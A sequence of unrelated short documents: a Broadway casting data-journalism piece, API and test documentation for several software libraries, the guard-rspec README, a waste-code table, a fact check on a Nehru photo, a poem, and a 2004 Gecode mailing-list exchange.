--- project-id: 4 title: So you think you can Broadway? type: data journalism tag: journalism date: 1000-01-08 img: grid-image.png alt: black and white picture of a cast performing on stage description: I recently witnessed pop star JoJo play Satine in Moulin Rouge's most recent run on Broadway. While it's not unheard of for artists to move into sister fields, it felt like a fever dream to see her in her new glittery persona. ---
{% include head.html %} {% include js.html %} {% include stylesheets.html %} {% include nav.html coloured_back="transparent_back" %}I recently witnessed pop star JoJo play Satine in Moulin Rouge's most recent run on Broadway. While it's not unheard of for artists to move into sister fields, it felt like a fever dream to see her in her new glittery persona. Over 12 million people attended the 2022-23 Broadway season, the first full-fledged season since covid-19 shut theatres down. Long considered the highest form of theatre in the world, it stays a dream for most musical actors. This begs the question – how on earth do you get to Broadway?
Most performers don't begin as Billboard Hot 100-topping singers at the age of 13, but many of them do start with family connections. 15 out of every 100 opening night cast members for current shows were born into prominent families. Although musical theatre is not nearly as nepotistic as Hollywood, the fact that it is part of the entertainment industry means that it still places a priority on relationships. Here are some performers whose relatives have a Wikipedia page, the true mark of stardom.
Hill is a prolific actor, comedian, and producer who has been nominated for the Academy, BAFTA, Golden Globe, and SAG Awards.
Calud performed as Kim in the Broadway production of Miss Saigon in 1991. Noblezada later played the same role in 2017.
Miranda Jr. consulted on high-profile political campaigns including those for Hillary Clinton and Chuck Schumer. He was chairman of the Board of the NYC Health and Hospitals Corporation, appointed by Mayor Rudolph Giuliani.
Colin Powell was the former United States Secretary of State, National Security Advisor, and Chairman of the Joint Chiefs of Staff.
Spade was the co-founder and co-owner of the designer brand Kate Spade New York. Brosnahan rose to fame as the titular Jewish American character on The Marvelous Mrs. Maisel, despite not being of Jewish descent.
A staggering 40% of stars who went to college attended one of 5 schools. New York University is at the top by a large margin, beating specialized schools like Julliard and the American Musical and Dramatic Academy (AMDA). NYU alumni include Wicked's Idina Menzel, The Book of Mormon's Jared Gertner, and Kimberly Akimbo's Victoria Clark.
Nearly half of all college-educated broadway stars come from these 5 schools
Schools that actors obtained their highest qualifications from
Source: Wikipedia
It's worth noting that while most of these stars have received a professional education, many have also opted not to go to college. These performers usually start as child actors, as in the case of Grey House's Mia Sinclair Jenness (who also happens to be actress Emily Bauer's daughter) and industry veterans Neil Patrick Harris and Adam Godley.
Musical theatre is a competitive field with few winners on top – only 176 of all 783 opening night cast members for current shows have Wikipedia pages, and many of them are because of crossovers in other sections of the entertainment industry. So, many performers choose to start their careers with advertisements or small roles in TV shows. For instance, out of the 22 cast members of the 2015 smash hit Hamilton, 16 had already appeared on screen. Renée Elise Goldsberry, who won the Tony for Best Featured Actress in a Musical for her role as Angelica Schuyler, already had 26 film and TV credits to her name before opening night.
over 70% of broadway actors have on-screen credits before opening night
Number of credited on-screen performances by actors before opening night, by show
Source: Wikipedia
Shows and cast list are from IBDB. While the IBDB database mentions 783 opening night cast members (including ensemble and understudies) for all of the shows currently playing on Broadway, only 176 of these had enough information about them on the internet. This information was scraped from the actors' Wikipedia and Playbill profiles. 'School' here refers to the latest school that the actor went to (mostly MFAs).
Data journalism project for the Lede Program at Columbia.
Project Type: {{ page.type }}
Role: data collection, data analysis, data visualization
Tools: Python(Jupyter) for scraping and analysis, Plotly for graphics
Date: June 2023
Sources: IBDB, Playbill, Wikipedia
Code: GitHub


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FAQ Item
|
FAQ: Scripting
Use FileOpen, FileRead, FileWrite, FileSeek, and FileClose to manipulate files.
You can find a small example showing how to replace a line here.
Note that if INI files are in the question, it might be easier to use WriteINIStr, ReadINIStr, DeleteINIStr, and DeleteINISec.
< Back to FAQ index
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# ******************************************************************************
# Copyright 2017-2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ******************************************************************************
# pylint: disable=deprecated-module
import os
import subprocess
from collections import Counter
from nlp_architect.data.conll import ConllEntry
from nlp_architect.models.bist.eval.conllu.conll17_ud_eval import run_conllu_eval
# Things that were changed from the original:
# - Removed ConllEntry class, normalize()
# - Changed read_conll() and write_conll() input from file to path
# - Added run_eval(), get_options_dict() and is_conllu()
# - Reformatted code and variable names to conform with PEP8
# - Added legal header
[docs]def vocab(conll_path):
# pylint: disable=missing-docstring
words_count = Counter()
pos_count = Counter()
rel_count = Counter()
for sentence in read_conll(conll_path):
words_count.update([node.norm for node in sentence if isinstance(node, ConllEntry)])
pos_count.update([node.pos for node in sentence if isinstance(node, ConllEntry)])
rel_count.update([node.relation for node in sentence if isinstance(node, ConllEntry)])
return (
words_count,
{w: i for i, w in enumerate(words_count.keys())},
list(pos_count.keys()),
list(rel_count.keys()),
)
[docs]def read_conll(path):
"""Yields CoNLL sentences read from CoNLL formatted file.."""
with open(path, "r") as conll_fp:
root = ConllEntry(
0, "*root*", "*root*", "ROOT-POS", "ROOT-CPOS", "_", -1, "rroot", "_", "_"
)
tokens = [root]
for line in conll_fp:
stripped_line = line.strip()
tok = stripped_line.split("\t")
if not tok or line.strip() == "":
if len(tokens) > 1:
yield tokens
tokens = [root]
else:
if line[0] == "#" or "-" in tok[0] or "." in tok[0]:
# noinspection PyTypeChecker
tokens.append(stripped_line)
else:
tokens.append(
ConllEntry(
int(tok[0]),
tok[1],
tok[2],
tok[4],
tok[3],
tok[5],
int(tok[6]) if tok[6] != "_" else -1,
tok[7],
tok[8],
tok[9],
)
)
if len(tokens) > 1:
yield tokens
[docs]def write_conll(path, conll_gen):
"""Writes CoNLL sentences to CoNLL formatted file."""
with open(path, "w") as file:
for sentence in conll_gen:
for entry in sentence[1:]:
file.write(str(entry) + "\n")
file.write("\n")
[docs]def run_eval(gold, test):
"""Evaluates a set of predictions using the appropriate script."""
if is_conllu(gold):
run_conllu_eval(gold_file=gold, test_file=test)
else:
eval_script = os.path.join(os.path.dirname(os.path.realpath(__file__)), "eval", "eval.pl")
with open(test[: test.rindex(".")] + "_eval.txt", "w") as out_file:
subprocess.run(["perl", eval_script, "-g", gold, "-s", test], stdout=out_file)
[docs]def is_conllu(path):
"""Determines if the file is in CoNLL-U format."""
return os.path.splitext(path.lower())[1] == ".conllu"
[docs]def get_options_dict(activation, lstm_dims, lstm_layers, pos_dims):
"""Generates dictionary with all parser options."""
return {
"activation": activation,
"lstm_dims": lstm_dims,
"lstm_layers": lstm_layers,
"pembedding_dims": pos_dims,
"wembedding_dims": 100,
"rembedding_dims": 25,
"hidden_units": 100,
"hidden2_units": 0,
"learning_rate": 0.1,
"blstmFlag": True,
"labelsFlag": True,
"bibiFlag": True,
"costaugFlag": True,
"seed": 0,
"mem": 0,
}


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flixel.addons.plugin.control.FlxControlHandler
- type
- class
Makes controlling an FlxSprite with the keyboard a LOT easier and quicker to set-up!
Sometimes it's hard to know what values to set, especially if you want gravity, jumping, sliding, etc.
This class helps sort that - and adds some cool extra functionality too :)
TODO: Hot Keys
TODO: Binding of sound effects to keys (seperate from setSounds? as those are event based)
TODO: If moving diagonally compensate speed parameter (times x,y velocities by 0.707 or cos/sin(45))
TODO: Specify animation frames to play based on velocity
TODO: Variable gravity (based on height, the higher the stronger the effect)
Constructor
- parameters
Sprite
The FlxSprite you want this class to control. It can only control one FlxSprite at once.
MovementType
Set to either MOVEMENT_INSTANT or MOVEMENT_ACCELERATES
StoppingType
Set to STOPPING_INSTANT, STOPPING_DECELERATES or STOPPING_NEVER
UpdateFacing
If true it sets the FlxSprite.facing value to the direction pressed (default false)
EnableArrowKeys
If true it will enable all arrow keys (default) - see setCursorControl for more fine-grained control
Instance Methods
- parameters
Key
The key to use as the hot key (String from flixel.system.input.Keyboard, i.e. "SPACE", "CONTROL", "Q", etc)
Callback
The function to call when the key is pressed
Keymode
The keymode that will trigger the callback, either KEYMODE_PRESSED, KEYMODE_JUST_DOWN or KEYMODE_RELEASED
- parameters
Key
The key to use as the hot key (String from flixel.system.input.Keyboard, i.e. "SPACE", "CONTROL", "Q", etc)
- returns
- True if the key was found and removed, false if the key couldn't be found
- parameters
LeftSpeed
The speed in pixels per second in which the sprite will move/accelerate to the left
RightSpeed
The speed in pixels per second in which the sprite will move/accelerate to the right
UpSpeed
The speed in pixels per second in which the sprite will move/accelerate up
DownSpeed
The speed in pixels per second in which the sprite will move/accelerate down
SpeedMaxX
The maximum speed in pixels per second in which the sprite can move horizontally
SpeedMaxY
The maximum speed in pixels per second in which the sprite can move vertically
DecelerationX
Deceleration speed in pixels per second to apply to the sprites horizontal movement (default 0)
DecelerationY
Deceleration speed in pixels per second to apply to the sprites vertical movement (default 0)
- parameters
X
The x coordinate of the top left corner of the area (in game world pixels)
Y
The y coordinate of the top left corner of the area (in game world pixels)
Width
The width of the area (in pixels)
Height
The height of the area (in pixels)
- parameters
AllowUp
Enable the UP key
AllowDown
Enable the DOWN key
AllowLeft
Enable the LEFT key
AllowRight
Enable the RIGHT key
- parameters
CustomUpKey
The String to use for the Up key.
CustomDownKey
The String to use for the Down key.
CustomLeftKey
The String to use for the Left key.
CustomRightKey
The String to use for the Right key.
- parameters
SpeedX
The speed in pixels per second at which the sprite will have its horizontal speed decreased
SpeedY
The speed in pixels per second at which the sprite will have its vertical speed decreased
- parameters
AllowUp
Enable the up (COMMA) key
AllowDown
Enable the down (A) key
AllowLeft
Enable the left (O) key
AllowRight
Enable the right (E) key
- parameters
AllowUp
Enable the up (E) key
AllowDown
Enable the down (D) key
AllowLeft
Enable the left (S) key
AllowRight
Enable the right (F) key
- parameters
Key
The key to use as the fire button (String from flixel.system.input.Keyboard, i.e. "SPACE", "CONTROL")
Keymode
The FlxControlHandler KEYMODE value (KEYMODE_PRESSED, KEYMODE_JUST_DOWN, KEYMODE_RELEASED)
RepeatDelay
Time delay in ms between which the fire action can repeat (0 means instant, 250 would allow it to fire approx. 4 times per second)
Callback
A user defined function to call when it fires
AltKey
Specify an alternative fire key that works AS WELL AS the primary fire key (TODO)
- parameters
ForceX
A positive value applies gravity dragging the sprite to the right. A negative value drags the sprite to the left. Zero disables horizontal gravity.
ForceY
A positive value applies gravity dragging the sprite down. A negative value drags the sprite up. Zero disables vertical gravity.
- parameters
AllowUp
Enable the up (K) key
AllowDown
Enable the down (J) key
AllowLeft
Enable the left (H) key
AllowRight
Enable the right (L) key
- parameters
AllowUp
Enable the up (I) key
AllowDown
Enable the down (K) key
AllowLeft
Enable the left (J) key
AllowRight
Enable the right (L) key
- parameters
Key
The key to use as the jump button (String from flixel.system.input.Keyboard, i.e. "SPACE", "CONTROL")
Keymode
The FlxControlHandler KEYMODE value (KEYMODE_PRESSED, KEYMODE_JUST_DOWN, KEYMODE_RELEASED)
Height
The height in pixels/sec that the Sprite will attempt to jump (gravity and acceleration can influence this actual height obtained)
Surface
A bitwise combination of all valid surfaces the Sprite can jump off (from FlxObject, such as FlxObject.FLOOR)
RepeatDelay
Time delay in ms between which the jumping can repeat (250 would be 4 times per second)
JumpFromFall
A time in ms that allows the Sprite to still jump even if it's just fallen off a platform, if still within ths time limit
Callback
A user defined function to call when the Sprite jumps
AltKey
Specify an alternative jump key that works AS WELL AS the primary jump key (TODO)
- parameters
Speed
The maximum speed in pixels per second in which the sprite can rotate
LimitVelocity
If true the angular velocity of the FlxSprite will be checked and kept within the limit. If false it can be set to anything.
- parameters
SpeedX
The maximum speed in pixels per second in which the sprite can move horizontally
SpeedY
The maximum speed in pixels per second in which the sprite can move vertically
LimitVelocity
If true the velocity of the FlxSprite will be checked and kept within the limit. If false it can be set to anything.
- parameters
SpeedX
The speed in pixels per second in which the sprite will move/accelerate horizontally
SpeedY
The speed in pixels per second in which the sprite will move/accelerate vertically
SpeedMaxX
The maximum speed in pixels per second in which the sprite can move horizontally
SpeedMaxY
The maximum speed in pixels per second in which the sprite can move vertically
DecelerationX
A deceleration speed in pixels per second to apply to the sprites horizontal movement (default 0)
DecelerationY
A deceleration speed in pixels per second to apply to the sprites vertical movement (default 0)
- parameters
AllowUp
Enable the up (NUMPADEIGHT) key
AllowDown
Enable the down (NUMPADTWO) key
AllowLeft
Enable the left (NUMPADFOUR) key
AllowRight
Enable the right (NUMPADSIX) key
- parameters
Speed
The speed in pixels per second at which the sprite will have its angular rotation speed decreased
- parameters
LeftRight
Use the LEFT and RIGHT arrow keys for anti-clockwise and clockwise rotation respectively.
UpDown
Use the UP and DOWN arrow keys for anti-clockwise and clockwise rotation respectively.
CustomAntiClockwise
The String value of your own key to use for anti-clockwise rotation (as taken from flixel.system.input.Keyboard)
CustomClockwise
The String value of your own key to use for clockwise rotation (as taken from flixel.system.input.Keyboard)
- parameters
MinimumAngle
Minimum angle below which the sprite cannot rotate (must be -180 or above)
MaximumAngle
Maximum angle above which the sprite cannot rotate (must be 180 or below)
- parameters
RotationType
StoppingType
- parameters
Jump
The FlxSound to play when the user jumps
Fire
The FlxSound to play when the user fires
Walk
The FlxSound to play when the user walks
Thrust
The FlxSound to play when the user thrusts
- parameters
Speed
The speed in pixels per second in which the sprite will move/accelerate/decelerate
Acceleration
If true it will set the speed value as the deceleration value (default) false will leave deceleration disabled
- parameters
ThrustKey
Specify the key String (as taken from flixel.system.input.Keyboard) to use for the Thrust action
ThrustSpeed
The speed in pixels per second which the sprite will move. Acceleration or Instant movement is determined by the Movement Type.
ReverseKey
If you want to be able to reverse, set the key string as taken from flixel.system.input.Keyboard (defaults to null).
ReverseSpeed
The speed in pixels per second which the sprite will reverse. Acceleration or Instant movement is determined by the Movement Type.
- parameters
allowUp
Enable the up (W) key
allowDown
Enable the down (S) key
allowLeft
Enable the left (A) key
allowRight
Enable the right (D) key
- parameters
AllowUp
Enable the up (Z) key
AllowDown
Enable the down (Q) key
AllowLeft
Enable the left (S) key
AllowRight
Enable the right (D) key
- parameters
FactorX
FactorY
- parameters
FactorX
FactorY


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{%extends 'home.html'%} {% block content%} {% if error %}
{{error}}
You certificates are :-
{{each}} {{nm}}
You did not participate in any.


D or R codes allowed for {{returntype}}
| RD_Code | Description |
|---|---|
| D01 | Deposit into or onto land |
| D02 | Land treatment |
| D03 | Deep injection |
| D04 | Surface impoundment |
| D05 | Specially engineered landfill |
| D06 | Release into a water body except seas/oceans |
| D07 | Release into seas/oceans |
| D08 | Biological treatment not specified elsewhere |
| D09 | Physico-chemical treatment not specified elsewhere |
| D10 | Incineration on land |
| D12 | Permanent storage |
| D13 | Blending or mixing prior to D1 to D12 |
| D14 | Repackaging prior to D1 to D13 |
| D15 | Temporary storage pending D1 to D14 |
| R01 | Use principally as a fuel |
| R02 | Solvent reclamation/regeneration by distillation |
| R03 | Recycling/reclamation of organic substances |
| R04 | Recycling/reclamation - metals |
| R05 | Recycling/reclamation - other inorganic materials |
| R06 | Regeneration of acids or bases |
| R07 | Recovery of components used for pollution abatement |
| R08 | Recovery of components from catalysts |
| R09 | Oil re-refining or other reuses of oil |
| R10 | Land treatment resulting in benefit |
| R11 | Use of wastes obtained from any operation R1 to R10 |
| R12 | Exchange of wastes for R1 to R11 |
| R13 | Storage of wastes pending any of the operations R1 to R12 |


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Tag generating tests
Located in /tests/haml/TagHamlTests.class.php (line 17)
PHPUnit_Framework_TestCase | --TagHamlTests
Haml parser
Test autoclosed tag with content
Test closed tag with content (content shouldn't
display)
Test tag without name, but with class, should be
inline div
Test tag without name, but with ID, should be
inline div
Test named tag - should be block, but displayed
as inline
Test tag with xHTML namespace in name (with colon)
Documentation generated on Mon, 09 Jul 2007 10:05:14 +0200 by phpDocumentor 1.3.0RC3


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Perfect Hand - Optimizer
This tool helps you optimize your deck against your mulligan criteria.
Deck
Main
// discard 4 Faithless Looting 4 Putrid Imp // reanimation 4 Animate Dead 4 Exhume // creatures 4 Hand of Emrakul 1 Greater Sandwurm 1 Pathrazer of Ulamog 4 Ulamog's Crusher // mana 4 Dark Ritual 3 Lotus Petal 1 Crumbling Vestige 7 Mountain 10 Swamp // others 3 Dragon Breath 4 Gitaxian Probe 2 Shred Memory // Sideboard: SB: 3 Apostle's Blessing SB: 4 Duress SB: 2 Electrickery SB: 2 Mind Rake SB: 2 Pyroblast SB: 2 Shenanigans
Hand Keeping Rules
// ============ // === Matchers // ============ <B>: [Swamp] | [Lotus Petal] | [Crumbling Vestige] <R>: [Mountain] | [Lotus Petal] | [Crumbling Vestige] | [Simian Spirit Guide] <X>: [Swamp] | [Mountain] | [Lotus Petal] | [Crumbling Vestige] | [Simian Spirit Guide] <+1>: [Lotus Petal] | [Dark Ritual] | [Simian Spirit Guide] <creature>: [Hand of Emrakul] | [Greater Sandwurm] | [Pathrazer of Ulamog] | [Ulamog's Crusher] <rea>: [Exhume] | [Animate Dead] | [Reanimate] <cantrip>: [Gitaxian Probe] // ====================== // === Hand keeping rules // ====================== // I can reanimate turn 1 <<turn 1 imp>>: <B> & [Dark Ritual] & [Putrid Imp] & <creature> & <rea> // I can reanimate turn 2 <<turn 2 imp>>: <B> & <X> & [Putrid Imp] & <creature> & <rea> <<turn 2 looting>>: <B> & <R> & [Faithless Looting] & <creature> & <rea> // I can reanimate turn 2 by discarding a creature on 1st turn with a hand of 7 (OTD) <<turn 2 OTD>>: <B> & <+1> & <creature> & <rea> // I can reanimate turn 3 by discarding a creature on 1st turn with a hand of 7 (OTD) <<turn 3 OTD>>: <B> & <X> & <creature> & <rea> // one element of the combo is missing but I can play Faithless Looting turn 1 <<looting to find last element>>: <R> & [Faithless Looting] & @atleast(2)( <B> <creature> <rea> ) // I miss 1 mana source but I have a gitaxian probe: if I'm OTD, I have 4 draws to find my 2nd mana source <<probe to find mana source>>: <X> & <cantrip> & <creature> & <rea>
Simulate
iterations
Go!
Results
Results will show here...


Guard::RSpec ![travis-ci]()
=======
RSpec guard allows to automatically & intelligently launch specs when files are modified.
- Compatible with RSpec 1.x & RSpec 2.x (>= 2.4 needed for the notification feature)
- Tested against Ruby 1.8.7, 1.9.2, REE, JRuby & Rubinius.
Install
Please be sure to have [Guard](github.com/guard/guard) installed before continue.
Install the gem:
$ gem install guard-rspec
Add it to your Gemfile (inside development group):
``` ruby group :development do
gem 'guard-rspec'
end ```
Add guard definition to your Guardfile by running this command:
$ guard init rspec
Usage
Please read [Guard usage doc](github.com/guard/guard#readme)
Guardfile
RSpec guard can be really adapted to all kind of projects.
### Standard RubyGem project
``` ruby guard ‘rspec’ do
watch(%r{^spec/.+_spec\.rb$}) watch(%r{^lib/(.+)\.rb$}) { |m| "spec/lib/#{m[1]}_spec.rb" } watch('spec/spec_helper.rb') { "spec" }
end ```
### Typical Rails app
``` ruby guard ‘rspec’ do
watch('spec/spec_helper.rb') { "spec" } watch('config/routes.rb') { "spec/routing" } watch('app/controllers/application_controller.rb') { "spec/controllers" } watch(%r{^spec/.+_spec\.rb$}) watch(%r{^app/(.+)\.rb$}) { |m| "spec/#{m[1]}_spec.rb" } watch(%r{^app/(.*)(\.erb|\.haml)$}) { |m| "spec/#{m[1]}#{m[2]}_spec.rb" } watch(%r{^lib/(.+)\.rb$}) { |m| "spec/lib/#{m[1]}_spec.rb" } watch(%r{^app/controllers/(.+)_(controller)\.rb$}) { |m| ["spec/routing/#{m[1]}_routing_spec.rb", "spec/#{m[2]}s/#{m[1]}_#{m[2]}_spec.rb", "spec/acceptance/#{m[1]}_spec.rb"] }
end ```
Please read [Guard doc](github.com/guard/guard#readme) for more information about the Guardfile DSL.
Options
By default, Guard::RSpec automatically detect your RSpec version (with the `spec_helper.rb` syntax or with Bundler) but you can force the version with the `:version` option:
``` ruby guard ‘rspec’, :version => 2 do
# ...
end ```
You can pass any of the standard RSpec CLI options using the `:cli` option:
``` ruby guard ‘rspec’, :cli => “—color —format nested —fail-fast —drb” do
# ...
end ```
By default, Guard::RSpec will only look for spec files within `spec` in your project root. You can configure Guard::RSpec to look in additional paths by using the `:spec_paths` option:
``` ruby guard ‘rspec’, :spec_paths => [“spec”, “vendor/engines/reset/spec“] do
# ...
end ``` If you have only one path to look, you can configure `:spec_paths` option with a string:
``` ruby guard ‘rspec’, :spec_paths => “test” do
# ...
end ```
Former `:color`, `:drb`, `:fail_fast` and `:formatter` options are thus deprecated and have no effect anymore.
### List of available options:
``` ruby :version => 1 # force use RSpec version 1, default: 2 :cli => “-c -f doc” # pass arbitrary RSpec CLI arguments, default: “-f progress” :bundler => false # don’t use “bundle exec” to run the RSpec command, default: true :binstubs => true # use “bin/rspec“ to run the RSpec command (implies :bundler => true), default: false :rvm => [‘1.8.7’, ‘1.9.2’] # directly run your specs on multiple Rubies, default: nil :notification => false # display Growl (or Libnotify) notification after the specs are done running, default: true :all_after_pass => false # run all specs after changed specs pass, default: true :all_on_start => false # run all the specs at startup, default: true :keep_failed => false # keep failed specs until they pass, default: true :run_all => { :cli => “-p” } # cli arguments to use when running all specs, default: same as :cli :spec_paths => [“spec”] # specify an array of paths that contain spec files ```
Notification
The notification feature is only available for RSpec < 2, and RSpec >= 2.4 (due to the multiple-formatters feature that was present in RSpec 1, was removed in RSpec 2 and reintroduced in RSpec 2.4). So if you are using a version between 2 and 2.4, you should disable the notification with :notification => false. Otherwise, nothing will be displayed in the terminal when your specs will run.
The best solution is still to update RSpec to the latest version!
Formatters
The `:formatter` option has been removed since CLI arguments can be passed through the `:cli` option. If you want to use the former Instafail formatter, you need to use [rspec-instafail](rubygems.org/gems/rspec-instafail) gem instead:
``` ruby # in your Gemfile gem ‘rspec-instafail’
# in your Guardfile guard ‘rspec’, :cli => ’-r rspec/instafail -f RSpec::Instafail’ do
# ...
end ```
Default formatter is the `progress` formatter (same as RSpec default).
Running a subset of all specs
The `:all_on_start` and `:all_after_pass` options cause all specs located in the `spec` directory to be run. If there are some specs you want to skip, you can tag them with RSpec metadata (such as `:slow => true`) and skip them with the cli `—tag` option (i.e. `—tag ~slow`).
You can also use option :spec_paths to override paths used when running all specs. You can use this feature to create multiple groups of guarded specs with distinct paths, and execute each in own process:
``` ruby # in your Guardfile group ‘acceptance-tests’ do
guard 'rspec', :spec_paths => ['spec/acceptance'] do # ... end
end
group ‘unit-tests’ do
guard 'rspec', :spec_paths => ['spec/models', 'spec/controllers', 'spec/routing'] do # ... end
end ```
Development
- Source hosted at [GitHub](github.com/guard/guard-rspec)
- Report issues/Questions/Feature requests on [GitHub Issues](github.com/guard/guard-rspec/issues)
Pull requests are very welcome! Make sure your patches are well tested. Please create a topic branch for every separate change you make.
Testing
Please run `rake spec:prepare_fixtures` once before launching specs.
Author
[Thibaud Guillaume-Gentil](github.com/thibaudgg)


- The picture is being shared with the claim that Nehru couldn’t come out of the clutches of Britishers.
- The lady seen kissing Nehru in the picture is his niece Nayantara Sehgal and not a British woman.
CLAIM
A picture of India’s first Prime Minister Jawaharlal Nehru in which a woman can be seen kissing him is being shared to malign him and portray him as a womanizer.

A Twitter user shared the image with a caption in Hindi that loosely translates to, “Nehru was at the peak of freedom struggle, but the Britishers kept him captive via crooked means. Even after trying hard, Nehru couldn’t resist freeing himself. Here’s a photo that symbolizes his struggle.”
TRUTH
The lady seen kissing Nehru in the picture is his niece Nayantara Sehgal and not a British woman. The picture was taken when Nehru arrived at London Airport in 1955.
VERIFICATION AND METHODOLOGY
Using reverse-image search on Google and relevant keywords, we found an article on a website called Humor Nation, which mentions the lady kissing Nehru as his niece Nayantara Sehgal, when he visited London in 1955.
Taking a cue from that using keywords ‘Nehru London 1955 visit’, we found a video uploaded by verified account of British Pathé on April 13, 2014.
Titled ‘Mr Nehru Arrives At London Airport (1955)’, the description of the video mentions that Nehru was accompanied by his daughter Indira Gandhi on that trip. He met his sister Mrs Vijaya Lakshmi Pandit at the airport.
At 0:27 one can see the same visual of a lady greeting and kissing Nehru, but from a slightly different angle.
Seeing her from different angles, it is confirmed that she is indeed Nayantara Sehgal, Vijaya Lakshmi Pandit’s daughter, Nehru’s niece. Before giving a peck on Nehru’s cheek, she could also be seen hugging Indira.
The original image is also available on Alamy stock photo agency.
A candid moment between Nehru and his niece seen in the video, and photographed from a different angle, has been used by fake-news peddlers to malign India’s first PM’s image.
VERDICT
Times Fact Check has found that image of Nehru’s niece Nayantara Sehgal greeting him with a peck on his cheek has been shared with a false claim that Nehru was kissing a British woman.


|
Panda3D
|
Public Member Functions | |
| def | __init__ (self, parent=None, **kw) |
| def | action (self, fCommand=1) |
| def | addMenuItem (self, label='', command=None) |
| def | entry (self, index) |
| def | entryList (self) |
| def | floaters (self) |
| def | get (self) |
| def | getAt (self, index) |
| def | label (self) |
| def | menu (self) |
| def | popupSliders (self) |
| def | reset (self) |
| def | set (self, value, fCommand=1) |
| def | setAt (self, index, value, fCommand=1) |
Public Attributes | |
| entryBackground | |
| entryFormat | |
| entryList | |
| menu | |
| variableList | |
| def __init__ | ( | self, | |
parent = None , |
|||
| ** | kw | ||
| ) |
Reimplemented in ColorEntry, Vector4Entry, Vector3Entry, and Vector2Entry.
| def action | ( | self, | |
fCommand = 1 |
|||
| ) |
| def addMenuItem | ( | self, | |
label = '' , |
|||
command = None |
|||
| ) |
| def entry | ( | self, | |
| index | |||
| ) |
| def entryList | ( | self | ) |
| def floaters | ( | self | ) |
| def get | ( | self | ) |
| def getAt | ( | self, | |
| index | |||
| ) |
| def label | ( | self | ) |
| def menu | ( | self | ) |
| def popupSliders | ( | self | ) |
| def reset | ( | self | ) |
| def set | ( | self, | |
| value, | |||
fCommand = 1 |
|||
| ) |
| def setAt | ( | self, | |
| index, | |||
| value, | |||
fCommand = 1 |
|||
| ) |
| entryBackground |
| entryFormat |
| entryList |
| menu |
| variableList |


Economy
Employment
Income
Social Assistance
Poverty
Housing
Housing Characteristics
Household Characteristics
Demographics
Population
Family Structure
Education
Health


Be it fair that the sun did rise today?
up over the forests, the leave less trees.
Yellow roar like an army hail of arrows
came down before up rose
that orb
to call victory over
the earth and night
And you did sleep unbeknownst to me
like blankets covered vale by snow
you were
where that besiegement by the sun
was to take me
one year I give myself to find you
as another year has passed
by no longer measure than the year before
I have but dreams to follow to you
-your mischief in my dreams
Be it that the sunlight did break out-
break away- from the cloudy sky
daylight minute by minute
under-which you will find me
less I find myself here,
again on the solstice of this passing year
be that it will become a memory
or you will have interrupted these lines
What chances I take!
they are great,those chances
it is my will to do so and to for-fill the chances of another
I can shroud my symbolism like a lock
and no-one can undue it
unlocked and understand
the symbolism but
you make no effort to move against it, it simply fell before you
as trembling in dishabile I stand
alone but unscathed
less for my bleeding mind
my trembling hands raised poised against old age
will you rise to call my name
will you unfreeze, dis-suspend from time
brush off the snow and find me here
or will you brush past the sensory receptors I have placed for you to find me by
(lets say we found each-other if you reach me through a painting)
though if be it that you were just some scrupulous detail on a canvas
my lip would quiver at the thought of that
If you were after all just the wind
I would not sand to hear
wail wind by my window
fair be it more than just the wind you are
or I beseeched the world for nothing
after all this; screaming words at the air
like a gun with blank shots to hear but nothing is felt
no fallen foe symbolizing victory
no forceful power to fall foe by
but my words are not aimed at some foe external to me
it is up to me I am fairly sure to be the one to make it happen
my capacity is to realize dreams every one that haunts me I will to find them


data class EvolutionStatistics
A container for any statistics from evolution.
The interface simply maps a string (some description of the statistic) to a value of any type.
EvolutionStatistics(data: Map<String, Any>)
A container for any statistics from evolution. |
val data: Map<String, Any>
A mapping of a description to some statistic. |


[Gecode] Please keep the conlevel argument...
Christian Schulte
schulte at imit.kth.se
Fri Sep 24 18:14:24 CEST 2004
Ignore the conlevel argument does not mean to not post, right?
Christian
--
Christian Schulte, http://www.imit.kth.se/~schulte/
-----Original Message-----
From: gecode-bounces at ps.uni-sb.de [mailto:gecode-bounces at ps.uni-sb.de] On
Behalf Of Guido Tack
Sent: Friday, September 24, 2004 5:30 PM
To: gecode at ps.uni-sb.de
Subject: Re: [Gecode] Please keep the conlevel argument...
On Friday 24 September 2004 16:57, Christian Schulte wrote:
> Please always keep the consistency level agrument, even though you
> only have bnds consisten versions: this will making interfacing to
> Gecode much simpler (think of a modelling language where one is
> allowed to annotate entire expressions by conistency level). So, keep
> and ignore ;-)
It was actually my idea to remove it ;-)
But: Of course you shouldn't do _nothing_ if the conlevel is not BND, you
should just _always_ post the BND version.
Guido
--
Guido Tack
http://www.ps.uni-sb.de/~tack
_______________________________________________
Gecode mailing list
Gecode at ps.uni-sb.de http://www.ps.uni-sb.de/mailman/listinfo/gecode
More information about the gecode-users
mailing list


| Methods' Details |
selectFont
| void |
| selectFont( |
[in] string |
sFontName, |
| [in] double |
size, |
| [in] boolean |
bold, |
| [in] boolean |
italic ); |
- Description
- Select a font.
This method selects the specified font (or a close substitute)
as the current font for text output.
- Parameter sFontName
- The name of the font (like e.g. Arial)
- Parameter size
- The size of the font (note that this is not the usual points
unit, but in the same coordinate system as the other rendering
operations - usually, device pixel).
- Parameter bold
- When true, selected font is bold.
- Parameter italic
- When true, selected font is italic
|
|
setPenColor
| void |
| setPenColor( |
[in] ::com::sun::star::util::Color |
nsRgbaColor ); |
- Description
- Sets the color used by line and text operations.
To disable stroking, simply set this color to something with
zero alpha (i.e. fully transparent).
- Parameter nsRgbaColor
- RGBA color tuple, interpreted in the sRGB color space.
|
|
setFillColor
| void |
| setFillColor( |
[in] ::com::sun::star::util::Color |
nsRgbaColor ); |
- Description
- Sets the fill color.
To disable filling, simply set this color to something with
zero alpha (i.e. fully transparent).
- Parameter nsRgbaColor
- RGBA color tuple, interpreted in the sRGB color space.
|
|
setRectClip
- Description
- Sets the clip to the specified rectangle.
|
|
setTransformation
- Description
- Set the current transform matrix.
|
|
drawPixel
- Description
- Sets a single pixel on the canvas.
|
|
drawLine
- Description
- Draws a line on the canvas.
|
|
drawRect
- Description
- Draws a rectangle on the canvas.
|
|
drawPolyPolygon
- Description
- Draws a poly-polygon on the canvas.
|
|
drawText
- Description
- Draws text on the canvas.
- Parameter aText
